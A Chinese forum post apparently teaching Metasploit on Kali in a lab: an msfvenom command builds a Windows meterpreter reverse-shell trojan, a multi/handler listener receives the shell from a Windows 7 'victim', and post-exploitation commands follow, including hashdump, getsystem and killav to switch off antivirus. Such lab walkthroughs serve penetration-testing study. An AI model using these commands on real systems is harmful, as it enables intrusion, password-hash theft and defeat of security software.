Metasploit工具之windows渗透研究

zhaorong · 发表于 2021-5-25 16:10:29

*本工具仅供技术分享交流讨论严禁用于非法用途。

0x00 简介

Metasploit Framework (MSF)是一款经典的渗透测试框架之所以说是框架是因为它是一款开源可下载
的框架并可以进行脚本自定义和二次开发。MSF是由Ruby程序语言编写的模板框架，具有很好的扩展性
便于渗透测试人员开发使用和定制工具模板。我们能够通过它发现漏洞。

0x01 准备工作

1 由于kali已集成MSF 本次直接在kali2021.1版本上进行演示。
2 MSF使用PostgreSQL存储数据启用该数据库将大幅提高搜索速度和效率
3 关闭防火墙避免不必要的干扰

1.1 配置PostgreSQ;数据库服务

开启kali

打开终端

查看postgresql数据库服务状态

命令：systemctl status postgresql

开启服务：systemctl start postgresql

输入密码赋予sudo权限

再次查看数据库状态啊

数据库服务成功启动

将数据库设置为开机自启命令：sudo systemctl enable postgresql

输入密码

成功将数据库服务设置为开机自启

1.2 建立MSF搜索索引

初始化Metasploit数据库命令：sudo msfdb init

注：由于刚刚我们已经进行了sudo的校验所以在当前会话中将不再验证

成功创建MSF搜索数据库

查看MSF和数据库的连接命令：msfconsole db_status

输入exit退出MSF

建立数据库缓存命令：msfconsole db_rebuild_cache

成功建立元数据索引

1.3 关闭防火墙

安装ufw：sudo apt-get install ufw

关闭防火墙并禁止开机自启：sudo ufw disable

0x02 MSFvenom

Msfvenom是MSF内置的木马生成器支持windows、Linux平台和多种语言但由于做的过好所以很
快就被杀软直接消灭了(原生的基本都是百分百检测)，关于免杀的内容放到以后单独出一期。

2.1 参数说明

-p payload
-e 编码方式
-I 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听主机的IP和端口
-f exe 生成exe格式

可以执行msfvenom -l 查看payload列表

2.2 生成木马

输入ifconfig查看本机网卡信息

使用以太网卡eth0:10.1.1.24

查看本机端口占用情况

要时刻注意端口冲突问题

终端输入msfconsole开启MSF

本次演示生成Windows木马推荐使用大端口号

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.
24 LPORT=23333 -f exe > msf.exe

成功生成木马

0x03 监听

3.1 介绍

模块：exploit/multi/handler
参数说明：
set PAYLOAD <一定要和攻击payload相同>
set LHOST <监听IP>
set LPORT <监听端口>
set ExitOnSession false 设置是否自动断开会话
exploit / run：开启监听
show options：查看当前配置

3.2 开启监听

打开msf 进入监听模块

use exploit/multi/handler

设置payload，以Windows为例

set payload windows/meterpreter/reverse_tcp

设置本机IP set LHOST 你的IP

设置监听端口 set LPORT 监听的端口

查看配置

开启监听

3.3 反弹shell

受害机：Windows 7

将2.2中生成的木马msf.exe上传到win7中

运行msf.exe 返回kali查看效果

成功获取shell 此时可以进行下一步的攻击操作了

3.4 后渗透

当我们的木马成功反弹目标机shell后第一步就是获取目标机的一些基础信息例如系
统版本网段 AD等…MSF已经为我们提供了一些便捷的功能。

注：下列命令都是在meterpreter下运行

background：将会话放回后台

exit：关闭会话
help：查看帮助信息
sysinfo：查看系统信息
screenshot：截取屏幕
shell cmd：执行目标系统命令
download 目标机filename 本机filename’：下载文件到本机
upload 本地文件路径目标文件路径：上传文件到目标机
getuid：查看用户权限
getsystem：尝试获取SYSTEM权限
hashdump：导出密码的hash值
run killav：关闭杀软
run getgui -e：启用远程桌面(需要目标系统支持)

演示部分命令：

挂起会话：background

查看会话列表：sessions

进入指定ID的会话：session -I ID

		自动登录	找回密码
密码			注册

[WEB前端技术] Metasploit工具之windows渗透研究

浏览过的版块